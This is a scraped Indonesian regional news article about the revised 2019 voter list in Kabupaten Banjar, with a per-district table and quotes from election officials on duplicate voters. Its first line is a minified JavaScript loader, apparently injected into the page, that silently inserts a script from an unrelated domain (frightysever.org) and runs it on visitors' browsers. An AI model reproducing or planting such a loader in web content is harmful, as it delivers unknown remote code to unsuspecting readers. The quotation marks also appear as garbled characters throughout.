(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Jumlah pemilih tetap pada pemilu 2019 di Kabupaten Banjar mengalami pengurangan sebanyak 3.008 pemilih. Jumlah tersebut setelah KPU Banjar melakukan penyempurnaan Daftar Pemilih Tetap Hasil Perbaikan ke-2 (DPTH-2). Sebelumnya, jumlah pemilih dalam DPTH-2 untuk Kabupaten Banjar terdata sebanyak 417.557 pemilih. Tapi setelah dilakukan penyempuranaan data, jumlah pemilih tetap menjadi 414.549 pemilih dengan rincian pemilih laki-laki 208.545 orang dan perempuan 206.004 orang.
Demikian disampaikan Ketua KPU Banjar Muhaimin S.Ag kepada Kanalkalimantan.com. Hasil akhir jumlah 414.549 pemilih tersebut didapat setelah melakukan perbaikan yang kedua kalinya selama masa kerja 30 hari penyempurnaan DPTHP-2.
“Data 414.549 pemilih tersebut kita dapat setelah KPU bersama devisi data, Bawaslu dan perwakilan partai telah melakukan coklit terbatas dan singkronisasi di tiga desa sungai tabuk, sungai lulut dan sungai bakung,†akunya.
Diyakini Muhaimin, setelah melakukan DPTHP-2 data pemilih yang terdiri dari 20 Kecamatan, 290 Desa/Kelurahan dan 1.831 TPS tidak akan ada lagi potensi perubahan di luar pendataan pemilih.
Ditambahkan Muhaimin, dari DPTHP-2 tersebut juga didapati jumlah pemilih baru berjumlah 1.668 pemilih yang terdiri dari 807 pemilih laki-laki dan 861 pemilih perempuan. Sementara pemilih tidak memenuhi syarat berjumlah 4.676 pemilih dengan rincian 2.236 laki-laki dan 2.440 pemilih perempuan.
“Diluar itu ada juga pemilih-penyandang disabilitas sebanyak 942 pemilih yang terdiri dari 314 tuna daksa, 118 tuna netra, 157 tuna rungu, 203 tuna grahita, dan 150 pemilih disabilitas lainnya,†jelas Muhaimin.
Setelah proses DPTHP-2 KPU Banjar akan menyampaikan ke KPU Provinsi begitu juga dengan KPU darerah lain hingga KPU RI dan terbitlah berapa jumlah keseluruhan calon pemilih. “Saya berharap dengan sempurnanya tahapan yang sudah dilakukan dalam DPTHP-2 ini bisa menjadi landasan semua pihak, dan dapat menjadi dasar untuk melakukan kebijakan-kebijakan persoalan menengai pelaksanaan dalam pemilu 2019 tantinya,†harapnya.
REKAP DATA PEMILIH DPTH-2 PENYEMPURNAAN KABUPATEN BANJAR
KECAMATAN | DPTH-2 | PENYEMPURNAAN |
ALUH ALUH | 21.484 | 21.437 |
ARANIO | 6.658 | 6.652 |
ASTAMBUL | 26.772 | 26.646 |
BERUNTUNG BARU | 10.657 | 10.605 |
CINTAPURI DARUSALLAM | 8.161 | 8.115 |
GAMBUT | 28.681 | 28.518 |
KARANG INTAN | 25.060 | 24.901 |
KERTAK HANYAR | 32.755 | 33.032 |
MARTAPURA | 86.479 | 85.234 |
MARTAPURA BARAT | 13.878 | 13.810 |
MARTAPURA TIMUR | 21.012 | 20.976 |
MATARAMAN | 19.989 | 19.821 |
PARAMASAN | 3.109 | 3.224 |
PENGARON | 12.914 | 12.636 |
SAMBUNG MAKMUR | 9.150 | 9.029 |
SIMPANG EMPAT | 15.915 | 15.853 |
SUNGAI PINANG | 10.742 | 10.745 |
SUNGAI TABUK | 52.155 | 51.853 |
TATAH MAKMUR | 9.513 | 9.457 |
TELAGA BAUNTUNG | 2.473 | 2.448 |
TOTAL | 417.557          | 414.549 |
Sebelumnya, KPU Banjar mendapati 7.693 rekapitulasi data ganda dalam Daftar Pemilih Tetap Hasil Perbaikan (DPTHP-2) Pemilu 2019. Angka itu disampaikan Divisi Perencanaan dan Data KPU Banjar Muslihah, Selasa (27/11) lalu. Menurut Komisioner KPU Banjar ini hasil temuan tersebut didapati ketika keluarnya hasil data DPTHP-2 pada 15 November 2018 yang lalu.
Terkait temuan tersebut, Koordinator Bidang Pengawasan Hubungan Antar Lembaga dan Masyarakat Bawaslu Banjar Khairul Falah mengatakan, dalam penyempurnaan DPTHP-2 atas permintaan Bawaslu RI untuk dilakukan peng-coklitan terbatas akan dilakukan jajaran KPU seluruh Indonesia termaksuk KPU Kabupaten Banjar selama kurun waktu 30 hari.
“Mengapa ini bisa terjadi, salah satunya waktu yang terbatas dan Sistem Informasi Data Pemilih (Sidalih) yang membatasi waktu buka tutupnya sistem tersebut, sehingga tidak bisa menyaring kegandaan,†jelasnya.
Ketika ditanya apakah hal seperti ini lazim terjadi? Falah mengatakan, memang ketika jelang Pemilu hal ini lazim terjadi, bahkan hampir setiap perhelatan elektoral di Indonesia. Sehingga untuk mengantisipasi hal tersebut, KPU harus merekomendasikan lagi, salah satunya dengan beberapa kali penyempurnaan DPT. “Hal ini memang lazim terjadi, bahkan di setiap Pemilu termasuk Pemilu tahun 2019 nanti,†akunya.
Falah mengatakan, bisa saja pemilih ganda itu disalahgunakan, sehingga kerjasama seluruh elemen dilibatkan seperti partai politik dan Kementrian Dalam Negeri RI. “Untuk mengatasi hal tersebut besok kita besama KPU dan Parpol lingkup Kabupaten Banjar melaksanakan coklit terbatas, dengan proses langsung door to door guna akurasi data pemilih, sehingga diharapkan daftar pemilih Pemilu tahun 2019 di Kabupaten Banjar benar dan ril adanya,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.